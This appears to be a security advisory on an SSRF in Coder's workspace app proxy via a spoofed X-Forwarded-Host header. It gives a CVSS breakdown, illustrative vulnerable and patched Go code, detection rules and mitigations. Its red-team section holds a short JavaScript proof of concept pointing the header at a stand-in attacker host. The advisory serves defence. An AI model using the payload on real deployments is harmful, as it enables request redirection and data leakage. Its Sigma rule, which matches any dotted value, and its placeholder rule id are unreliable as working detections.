CVE-2026-55430

Executive Summary

CVE-2026-55430 is a server-side request forgery (SSRF) vulnerability in Coder, a platform for provisioning remote development environments via Terraform. The vulnerability arises from the workspace app proxy’s improper handling of the X-Forwarded-Host header. The proxy uses httpapi.RequestHost() to resolve the target app, which prefers the X-Forwarded-Host header over the real Host header. No middleware strips X-Forwarded-Host before routing, and the header is not browser-forbidden, allowing client-side JavaScript to set it on fetch() calls. Practical exploitation requires subdomain app routing (wildcard hostname) enabled, a victim who visits the attacker's shared app, and a deployment whose upstream proxy does not strip X-Forwarded-Host. The CVSS score is 5.8 (Medium), with low impact on confidentiality and integrity. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

Coder is a Go-based application. The vulnerability is in the core server component, not in a package manager distribution. However, organizations using Coder should verify their deployment version and apply the patch immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit attacker’s shared app
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – potential to redirect requests to attacker-controlled hosts
• Integrity Impact: Low (I:L) – potential to manipulate routing
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires specific conditions (wildcard hostname, victim interaction, no upstream proxy stripping). No active exploitation observed.

Deep Dive & Mechanics

The vulnerability is in the workspace app proxy component of Coder. When a user accesses a workspace app, the proxy resolves the target app using httpapi.RequestHost(). This function checks the X-Forwarded-Host header first, then falls back to the Host header. The X-Forwarded-Host header is not stripped by any middleware, and it is not a forbidden header in the Fetch API, meaning client-side JavaScript can set it on fetch() calls.

Attack Flow:

1. Attacker creates a workspace app that includes client-side JavaScript.
2. The JavaScript sets the X-Forwarded-Host header to an attacker-controlled host (e.g., attacker.com).
3. Victim visits the attacker’s shared app.
4. The workspace app proxy uses the spoofed X-Forwarded-Host to route requests to attacker.com instead of the intended internal service.
5. This can lead to SSRF, allowing the attacker to redirect requests to external hosts or internal services.

Prerequisites:

• Subdomain app routing (wildcard hostname) must be enabled.
• The upstream proxy (if any) must not strip or overwrite X-Forwarded-Host.
• Victim must visit the attacker’s shared app.

Vulnerable vs. Patched Code

Vulnerable Code (before fix):

// httpapi.RequestHost() implementation
func RequestHost(r *http.Request) string {
    if host := r.Header.Get("X-Forwarded-Host"); host != "" {
        return host
    }
    return r.Host
}

Patched Code (after fix):

// httpapi.RequestHost() implementation
func RequestHost(r *http.Request) string {
    // Only trust X-Forwarded-Host from configured trusted proxies
    if trustedProxies.Contains(r.RemoteAddr) {
        if host := r.Header.Get("X-Forwarded-Host"); host != "" {
            return host
        }
    }
    return r.Host
}

The fix adds a check to ensure X-Forwarded-Host is only trusted when the request comes from a configured trusted proxy. Otherwise, the routing host is resolved from the verified request host (r.Host).

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy a vulnerable Coder instance (version < 2.29.7, < 2.32.7, < 2.33.8, < 2.34.2) with subdomain app routing enabled.
2. Ensure no upstream proxy strips X-Forwarded-Host.
3. Create a workspace app that serves a malicious HTML page with JavaScript.

Exploitation Steps:

1. Create a workspace app with the following HTML/JavaScript:

<!DOCTYPE html>
<html>
<body>
<script>
fetch('/some-endpoint', {
    headers: {
        'X-Forwarded-Host': 'attacker-controlled.com'
    }
});
</script>
</body>
</html>

2. Share the app with the victim.
3. When the victim visits the app, the JavaScript sends a request with the spoofed X-Forwarded-Host header.
4. The workspace app proxy routes the request to attacker-controlled.com, potentially leaking sensitive data or allowing further exploitation.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defender)

Detection:

• Monitor for requests with X-Forwarded-Host header set to unexpected or external hosts.
• Check logs for routing anomalies where requests are redirected to external domains.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Apply the patch immediately (upgrade to versions 2.29.7, 2.32.7, 2.33.8, or 2.34.2).
• As a workaround, place an upstream reverse proxy that strips or overwrites X-Forwarded-Host on untrusted requests.
• Disable subdomain app routing (wildcard hostname) if not required.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Requests with X-Forwarded-Host header set to external or unexpected domains.
  • Outbound connections from Coder server to attacker-controlled hosts.
• Log IOCs:
  • Log entries showing routing to external hosts based on X-Forwarded-Host.
  • Anomalous Host header mismatches in access logs.
• File IOCs:
  • Workspace apps containing JavaScript that sets X-Forwarded-Host header.

Detection Engineering

YARA Rule

rule CVE_2026_55430_Coder_SSRF {
    meta:
        description = "Detects Coder workspace app proxy SSRF via X-Forwarded-Host header"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-55430"
    strings:
        $header = "X-Forwarded-Host"
        $fetch = "fetch("
        $set_header = "headers"
    condition:
        $header and $fetch and $set_header
}

Sigma Rule

title: Coder Workspace App Proxy SSRF via X-Forwarded-Host
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects requests with X-Forwarded-Host header set to external hosts in Coder environment
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55430
logsource:
    category: webserver
    product: coder
detection:
    selection:
        http.request.headers.X-Forwarded-Host|contains:
            - "http://"
            - "https://"
            - "."
    condition: selection
falsepositives:
    - Legitimate use of X-Forwarded-Host by trusted proxies
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-55430 Coder Workspace App Proxy SSRF"; flow:to_server; content:"X-Forwarded-Host"; http_header; pcre:"/X-Forwarded-Host:\s*(http|https):\/\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Coder to versions 2.29.7, 2.32.7, 2.33.8, or 2.34.2.
2. If upgrade is not possible, place an upstream reverse proxy (e.g., Nginx, HAProxy) that strips or overwrites X-Forwarded-Host on untrusted requests.
3. Disable subdomain app routing (wildcard hostname) if not required.

Long-term Measures:

• Implement strict input validation for all HTTP headers.
• Use a Web Application Firewall (WAF) to filter malicious headers.
• Regularly review and update Coder deployments.
• Monitor for unusual routing patterns in logs.

Workaround Configuration (Nginx):

server {
    listen 80;
    server_name example.com;
    location / {
        proxy_set_header X-Forwarded-Host "";
        proxy_pass http://coder-backend;
    }
}

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert